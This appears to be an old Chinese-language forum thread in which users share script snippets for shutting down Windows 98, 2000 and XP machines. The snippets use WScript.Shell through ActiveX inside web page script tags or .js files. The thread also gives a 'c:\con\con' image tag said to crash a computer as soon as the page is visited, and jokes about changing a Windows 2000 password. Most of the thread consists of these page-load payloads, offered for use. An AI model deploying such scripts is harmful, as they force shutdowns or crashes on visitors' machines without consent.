Only works in win98 in the local area as running as *.js: var shell=WScript.CreateObject("WScript.Shell"); shell.Run("Rundll32.exe User.exe,ExitWindows");
一段JavaScript的关机代码 win98 <script> var wsh = new ActiveXObject("WScript.Shell"); wsh.Run("rundll32.exe user.exe,exitWindows"); </script>win2000 or xp <script> var wsh = new ActiveXObject("WScript.Shell"); wsh.sendKeys("^{ESC}") wsh.sendKeys("{UP}~S~") </script>
<img src="c:\con\con">
一访问就死机.
shell.Run("Rundll32.exe User.exe,ExitWindows");
不行呵,我的是win98,
uvvvw(飘哥)
楼主说的是关机不是死机的呵
win98
<script>
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run("rundll32.exe user.exe,exitWindows");
</script>win2000 or xp
<script>
var wsh = new ActiveXObject("WScript.Shell");
wsh.sendKeys("^{ESC}")
wsh.sendKeys("{UP}~S~")
</script>
要不要修改win2000密码,然后重启 ∧ ∧
( ⊙_⊙ ) 祝所有人好运!我会天天Happy的。
我想做的是用flash将机器关掉,原来以为flash用的是javascriot,现在才发现它用的是ActionScript,呵呵,不好意思。有没有办法用flash关机呢?